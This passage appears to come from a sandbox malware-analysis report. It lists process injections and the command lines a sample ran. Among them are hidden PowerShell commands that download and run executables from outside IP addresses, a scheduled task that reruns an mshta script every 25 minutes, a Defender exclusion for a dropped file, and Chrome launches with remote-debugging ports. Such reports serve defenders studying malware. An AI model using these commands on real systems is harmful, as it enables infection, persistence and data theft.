PID 2684 wrote to memory of 1656 N/A C:\Users\Admin\AppData\Local\TempLGIL2NF8SQF6MIRZHUBAB6NGMEMLKTBJ.EXE C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
PID 2684 wrote to memory of 1656 N/A C:\Users\Admin\AppData\Local\TempLGIL2NF8SQF6MIRZHUBAB6NGMEMLKTBJ.EXE C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
PID 2684 wrote to memory of 1656 N/A C:\Users\Admin\AppData\Local\TempLGIL2NF8SQF6MIRZHUBAB6NGMEMLKTBJ.EXE C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
PID 2684 wrote to memory of 1656 N/A C:\Users\Admin\AppData\Local\TempLGIL2NF8SQF6MIRZHUBAB6NGMEMLKTBJ.EXE C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
PID 1656 wrote to memory of 2556 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe
PID 1656 wrote to memory of 2556 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe
PID 1656 wrote to memory of 2556 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe
PID 1656 wrote to memory of 2556 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe
PID 1656 wrote to memory of 2380 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe
PID 1656 wrote to memory of 2380 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe
PID 1656 wrote to memory of 2380 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe
PID 1656 wrote to memory of 2380 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe
PID 2380 wrote to memory of 900 N/A C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe C:\Windows\system32\cmd.exe
PID 2380 wrote to memory of 900 N/A C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe C:\Windows\system32\cmd.exe
PID 2380 wrote to memory of 900 N/A C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe C:\Windows\system32\cmd.exe
PID 900 wrote to memory of 584 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 900 wrote to memory of 584 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 900 wrote to memory of 584 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 584 wrote to memory of 2092 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 584 wrote to memory of 2092 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 584 wrote to memory of 2092 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1656 wrote to memory of 1628 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe
PID 1656 wrote to memory of 1628 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe
PID 1656 wrote to memory of 1628 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe
PID 1656 wrote to memory of 1628 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe
PID 1628 wrote to memory of 2928 N/A C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe C:\Windows\SysWOW64\WerFault.exe
PID 1628 wrote to memory of 2928 N/A C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe C:\Windows\SysWOW64\WerFault.exe
PID 1628 wrote to memory of 2928 N/A C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe C:\Windows\SysWOW64\WerFault.exe
PID 1628 wrote to memory of 2928 N/A C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe C:\Windows\SysWOW64\WerFault.exe
PID 1656 wrote to memory of 2568 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 1656 wrote to memory of 2568 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 1656 wrote to memory of 2568 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 1656 wrote to memory of 2568 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 2568 wrote to memory of 3016 N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 2568 wrote to memory of 3016 N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 2568 wrote to memory of 3016 N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 2568 wrote to memory of 3016 N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 2568 wrote to memory of 3016 N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 2568 wrote to memory of 3016 N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 2568 wrote to memory of 3016 N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 2568 wrote to memory of 3016 N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 2568 wrote to memory of 3016 N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 2568 wrote to memory of 3016 N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe
PID 2568 wrote to memory of 2736 N/A C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe C:\Windows\SysWOW64\WerFault.exe

Processes

C:\Users\Admin\AppData\Local\Temp\7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d.exe

"C:\Users\Admin\AppData\Local\Temp\7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c schtasks /create /tn LIroUmayngH /tr "mshta C:\Users\Admin\AppData\Local\Temp\YuklGPM0w.hta" /sc minute /mo 25 /ru "Admin" /f

C:\Windows\SysWOW64\mshta.exe

mshta C:\Users\Admin\AppData\Local\Temp\YuklGPM0w.hta

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /tn LIroUmayngH /tr "mshta C:\Users\Admin\AppData\Local\Temp\YuklGPM0w.hta" /sc minute /mo 25 /ru "Admin" /f

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'LGIL2NF8SQF6MIRZHUBAB6NGMEMLKTBJ.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;

C:\Users\Admin\AppData\Local\TempLGIL2NF8SQF6MIRZHUBAB6NGMEMLKTBJ.EXE

"C:\Users\Admin\AppData\Local\TempLGIL2NF8SQF6MIRZHUBAB6NGMEMLKTBJ.EXE"

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe

"C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"

C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe

"C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe"

C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe

"C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\BA3B.tmp\BA3C.tmp\BA3D.bat C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& {Invoke-WebRequest -Uri 'http://45.144.212.77:16000/setup' -OutFile 'C:\Users\Admin\AppData\Local\Temp\installer.ps1'; Start-Process 'powershell.exe' -ArgumentList '-ExecutionPolicy Bypass -NoProfile -File \"C:\Users\Admin\AppData\Local\Temp\installer.ps1\"' -WindowStyle Hidden}"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\installer.ps1"

C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe

"C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1628 -s 1204

C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe

"C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe"

C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe

"C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2568 -s 500

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3016 -s 1036

C:\Users\Admin\AppData\Local\Temp\10110230101\ce4pMzk.exe

"C:\Users\Admin\AppData\Local\Temp\10110230101\ce4pMzk.exe"

C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe

"C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe"

C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe

"C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2300 -s 504

C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe

"C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe"

C:\Users\Admin\AppData\Local\Temp\10110260101\Ps7WqSx.exe

"C:\Users\Admin\AppData\Local\Temp\10110260101\Ps7WqSx.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Local\Caches\zHoisLDD\Anubis.exe""

C:\Users\Admin\AppData\Local\Temp\10110270101\nhDLtPT.exe

"C:\Users\Admin\AppData\Local\Temp\10110270101\nhDLtPT.exe"

C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe

"C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe"

C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe

"C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef23b9758,0x7fef23b9768,0x7fef23b9778

C:\Windows\system32\ctfmon.exe

ctfmon.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1092 --field-trial-handle=1364,i,692122366606082322,8283187264483029687,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1492 --field-trial-handle=1364,i,692122366606082322,8283187264483029687,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1604 --field-trial-handle=1364,i,692122366606082322,8283187264483029687,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2036 --field-trial-handle=1364,i,692122366606082322,8283187264483029687,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2428 --field-trial-handle=1364,i,692122366606082322,8283187264483029687,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2468 --field-trial-handle=1364,i,692122366606082322,8283187264483029687,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1464 --field-trial-handle=1364,i,692122366606082322,8283187264483029687,131072 /prefetch:2

C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe

"C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef23b9758,0x7fef23b9768,0x7fef23b9778

C:\Windows\system32\ctfmon.exe

ctfmon.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1084 --field-trial-handle=1272,i,7394536457955076194,1686271919182260609,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1420 --field-trial-handle=1272,i,7394536457955076194,1686271919182260609,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1480 --field-trial-handle=1272,i,7394536457955076194,1686271919182260609,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2292 --field-trial-handle=1272,i,7394536457955076194,1686271919182260609,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2740 --field-trial-handle=1272,i,7394536457955076194,1686271919182260609,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2768 --field-trial-handle=1272,i,7394536457955076194,1686271919182260609,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1380 --field-trial-handle=1272,i,7394536457955076194,1686271919182260609,131072 /prefetch:2

C:\Users\Admin\AppData\Local\Temp\10110300101\22c1fa3933.exe

"C:\Users\Admin\AppData\Local\Temp\10110300101\22c1fa3933.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef2269758,0x7fef2269768,0x7fef2269778

C:\Windows\system32\ctfmon.exe

ctfmon.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1136 --field-trial-handle=1364,i,5883518029876893365,6447886166280550808,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1508 --field-trial-handle=1364,i,5883518029876893365,6447886166280550808,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1592 --field-trial-handle=1364,i,5883518029876893365,6447886166280550808,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2248 --field-trial-handle=1364,i,5883518029876893365,6447886166280550808,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2688 --field-trial-handle=1364,i,5883518029876893365,6447886166280550808,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2704 --field-trial-handle=1364,i,5883518029876893365,6447886166280550808,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef2269758,0x7fef2269768,0x7fef2269778

C:\Windows\system32\ctfmon.exe

ctfmon.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1104 --field-trial-handle=1364,i,6530401133983384531,12424283170488365044,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1504 --field-trial-handle=1364,i,6530401133983384531,12424283170488365044,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1592 --field-trial-handle=1364,i,6530401133983384531,12424283170488365044,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2324 --field-trial-handle=1364,i,6530401133983384531,12424283170488365044,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2348 --field-trial-handle=1364,i,6530401133983384531,12424283170488365044,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=2688 --field-trial-handle=1364,i,6530401133983384531,12424283170488365044,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2228 --field-trial-handle=1364,i,6530401133983384531,12424283170488365044,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3476 --field-trial-handle=1364,i,6530401133983384531,12424283170488365044,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

